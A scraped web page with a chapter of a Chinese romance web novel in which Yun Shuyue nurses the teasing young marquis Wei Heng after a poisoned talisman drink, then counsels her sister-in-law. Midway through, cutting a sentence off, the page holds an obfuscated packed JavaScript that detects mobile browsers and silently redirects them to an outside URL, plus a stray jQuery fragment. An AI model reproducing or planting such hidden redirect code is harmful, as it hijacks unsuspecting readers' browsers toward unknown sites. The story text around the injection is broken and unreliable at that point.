文趣网 > 其他小说 > 纯情纨绔火辣辣 > 24. 照顾
    云疏月磨磨蹭蹭到了床边的矮凳上坐下,身形紧绷,指尖无意识攥着裙边。

    卫珩侧首睨着她,眸底带着几分不解:“你紧张什么?刚不是还好好的。”

    云疏月答不上来。

    方才她一心只装着他和沈婉瑜的急症,无瑕顾及其他。

    如今大夫诊脉开药、稳住病情,这样一个夜深人静时,这房间里只剩下他们两个人,气氛顿时变得不同,人难免想得就多了些。

    云疏月喉间微涩,避开他的视线,仓促寻话解围:“那个...适才我让晚翠去熬粥,我去看看她熬糊了没。”

    她说着便要起身离去。

    “站住!”卫珩立即出声喝止,神色不耐,“你那丫鬟比你还蠢?熬个粥都能熬糊了,这点差事都办不好,也不必伺候主子了。”

    他眸光微沉,“安分在这待着,再找理由跑,明日我就让徐先见把你这丫鬟调到猪圈去。”

    又是猪圈...

    这人威胁是只会跟猪过不去了?

    云疏月不情不愿的坐回椅子上。

    屋内骤然沉寂,四下只剩烛芯燃动,噼啪轻响。

    卫珩斜倚床榻,静静睨着她那逆来顺受的模样,鬼点子悄然浮上心头。

    下一瞬,他眉头皱起,一手按住腹部,眉宇间似含痛楚,“嘶...”

    “怎,怎么了?”云疏月果然慌了神色,“肚子又开始疼了?”

    卫珩咬着牙,面色故作隐忍,“去,给爷倒杯热水。”

    云疏月十分听话,立即去斟来一盏温白开,递到他手边,眼睛一眨不眨凝着他,等他饮下。

    “好点吗?”

    余光瞥到她关切的目光,卫珩用杯子盖住了微微上扬的嘴角,心底那点恶劣的捉弄欲却在不断扩大。

    “没长眼啊,小爷这样,像是好点的样子吗?”

    云疏月:“那怎么办?要不我去把张大夫叫回来?”

    “不必,”卫珩语气淡淡的,把杯子递给她后,说出了一句十分不要脸的话。

    “你给我揉揉就行。”

    ...???

    ...!!!

    云疏月险些把杯子摔了!

    看着她几乎石化的表情,卫珩忍住心底的闷笑,故作冷淡的眯了眯眼,“怎么,不乐意?”

    “你给我喝了那种害人的水,还让我吃了冰荔枝,让小爷跑了那么多趟茅房,”他细数着她的“罪证”,“小爷在下人面前的脸面被你丢光了,如今只是让你帮爷揉会儿肚子,如此区区小事,你都不愿意?”

    区区小事……

    “愿意……”

    这两个字说得带了几分屈辱的妥协。

    卫珩嘴角的弧度扩大,顺势躺平,掀开了半盖着的薄被。

    “揉。”

    言简意赅,姿态散漫。

    云疏月不敢抬头,视线死死落在地面,僵硬着把手探过去。

    “往哪碰?”卫珩斜睨着她窘迫的模样,嗓音低沉带笑:“看着点,别碰到不该碰到地方。”

    云疏月咬着唇,勉强抬眸看向他腹部,伸手开始揉。

    手上的动作倒是挺轻,脸上的表情却紧绷的好像下一秒要去上战场。

    卫珩躺着,忍笑忍得肩头微僵,决定把笑意转换为某种力量。

    云疏月按着按着,觉察出不对劲。

    ...变硬了。

    这个位置,好像...

    卫珩声音有些怪:“好摸吗?”

    云疏月脸红透了,像被烫到,手立即缩了回来。

    怎么会有这么恶劣的人!

    她好心给他按肚子,他却借机展示他的腹肌!

    还有脸问她好不好摸!

    她又气又羞的瞪他:“小侯爷,你这么有劲,想必是大好了吧?”

    卫珩回答得理直气壮:“没好,差着呢。”

    云疏月:“.......”

    恰逢此时,晚翠的声音在门外响了起来,“姑娘,粥熬好了。”

    云疏月如蒙大赦,立即唤晚翠入内。

    房门推开,晚翠端着漆黑木托盘走入房内,盘上盛着一碗软烂剔透的白粥,热气袅袅散开米香味道。

    卫珩懒懒偏头,瞄了一眼。

    “太烫了,”他愈发理直气壮,“爷没力气,你吹凉了喂我。”

    云疏月有点生气,“小侯爷,你是腹痛,又不是手断了。”

    卫珩立马开始长吁短叹:“也不知是谁,无端给我喝了有毒的水,还让我吃了冰荔枝...”

    “停停停!”云疏月制止了他的旧事重提,无可奈何的叹了口气,从晚翠手中接过瓷碗,拿起勺子舀了半勺白粥,耐心吹凉。

    她其实还是第一次这么伺候人,以前纵然日子不好过,但她好歹也是个小姐,无论如何也沦落不到今天这样给人按摩、喂饭的地步。

    递勺子的动作有些僵硬,她没好气的说道:“可以吃了。”

    卫珩张口咽下,眼底藏着掩不住的笑意,面上却依旧维持着虚弱倦怠的模样,安静等着下一口。

    烛火摇曳,暖光落在她白皙又有些意气的侧脸上,睫毛投下浅浅的阴影。

    卫珩觉得心间痒痒的。

    他故意慢悠悠吞咽,偶尔还会微微皱眉,装作口感不佳的模样,折腾得她反复吹凉、耐心等候,乐此不疲。

    一碗平淡无味的白粥,硬生生熬了小半个时辰才算喂完。

    云疏月以为他还要找些理由来使唤她,好在常满送完了大夫,回来复命,卫珩大发慈悲的从床榻上起了身,由常满搀扶着回了书房。

    看着他离开的背影,云疏月长长舒了一口气。

    总算把这瘟神送走了。

    万幸,他没有执意在主卧留宿。

    若是今夜他真的留下来,她实在不知该如何自处。

    彻夜相对,那不得尴尬到钻地缝吗...

    ...

    次日,云疏月早早起身,亲自下厨熬了一锅软烂适口的面食,分作两碗,一碗差人送去书房,另一碗则亲自带着,去往清砚斋。

    一夜过去,卫珩那边应该是无碍了,可沈婉瑜这边,却病得连下床的力气都没有。

    云疏月踏入内室,见她恹恹卧于榻上,神色憔悴。她将食盒递给

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17648135|205393||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    一旁候着的凤芝,轻声叮嘱,让她服饰沈婉瑜进食。

    沈婉瑜勉强撑着身子,只小口吃了半碗,便气力不济,摆手示意凤芝撤下。

    “疏月,昨夜之事...多谢你了,”她的声音透着难掩的无力,“若是没有你,我真不知该怎么办。”

    “嫂嫂何须言谢,”云疏月温声道:“我初入侯府,谁也不认识,那日敬茶立规矩,满府皆是冷眼,唯有嫂嫂肯为我开口解围,这份善意,我一直记在心底。”

    云疏月的心思向来纯粹,她这一生所得温情寥寥无几,故而旁人赠予她的每一点好,她都格外珍重。

    沈婉瑜没想到只是自己当初一句话的事,却被云疏月记了这么久,她有些动容:“同是后宅女子,我自是不愿见到你被为难。”

    “嫂嫂玲珑心思,只是往后这份善意,不妨多分给自己一些。”

    “疏月,你这话意思...”

    “嫂嫂昨日也听到那大夫说的话了,纵是求子心切,也不可拿自己的身子作赌注,往后那些来路不明的符水、偏方一类的,真的不能乱喝了。”云疏月恳切的劝着,最后一句话说得有些迟疑,“还有那于家的林姐姐,嫂嫂日后还是尽量少往来吧。”

    沈婉瑜仍不死心:“可是...她真的是喝了这个符水,才怀上的孩子。或许我喝的方法不对,亦或是我身子有亏,才没能起效...”

    “嫂嫂怎么还这般执拗?”云疏月闻言微微气闷,却仍耐心的解释:“大夫都说了,那符水是裹着杂毒的,人吃了都要生病。你若说是你身体问题,那二爷昨天也喝了这水,腹泻得比你还厉害,二爷身体难道比你还差吗?”

    “你说什么?”沈婉瑜神色错愕,“二弟,也喝了那个水?”

    云疏月这才反应过来,沈婉瑜并不知道卫珩因这个水生病的事情,她一直以为只是借了卫珩的名头喊的大夫。

    云疏月神色尴尬,但话既说到了这份上,也没有再瞒着的必要,她只得点了点头:“是,是不小心喝到的...”

    “那,他没事吧?”

    “...昨晚跑了四五趟茅房...”云疏月的声音越来越低。

    沈婉瑜一副想笑又不敢笑的样子。

    “总,总之!”云疏月重新将话题掰了回去,“这水就是对人身体有伤害,不管那个林姐姐是不是因为这个东西才怀的孩子,嫂嫂都绝对不可以再碰了!”

    “好,”沈婉瑜温顺的点了点头,“我不喝就是了。”

    沈婉瑜嘴角莞尔:“疏月,看来你同二弟的感情,并不似府中传言的那样冷淡疏离。"

    云疏月脑中浮现昨晚卫珩找了各种借口使唤她的模样。

    “我们关系确实不好。”云疏月撇了撇嘴,“他那个人,脾气乖戾,嘴巴刻薄,一天到晚阴晴不定的,简直像个活阎王。”

    “俗世夫妻过日子,大抵都是这般模样。吵吵闹闹、拌嘴纠缠,才是烟火滋味。”说到这里,沈婉瑜眼中有些落寞,不过很快被她掩饰过去。

    她重新看向云疏月,温和的道:“二弟心性不坏,往后日子久了,你自然会知晓,他实则是个极好的人...”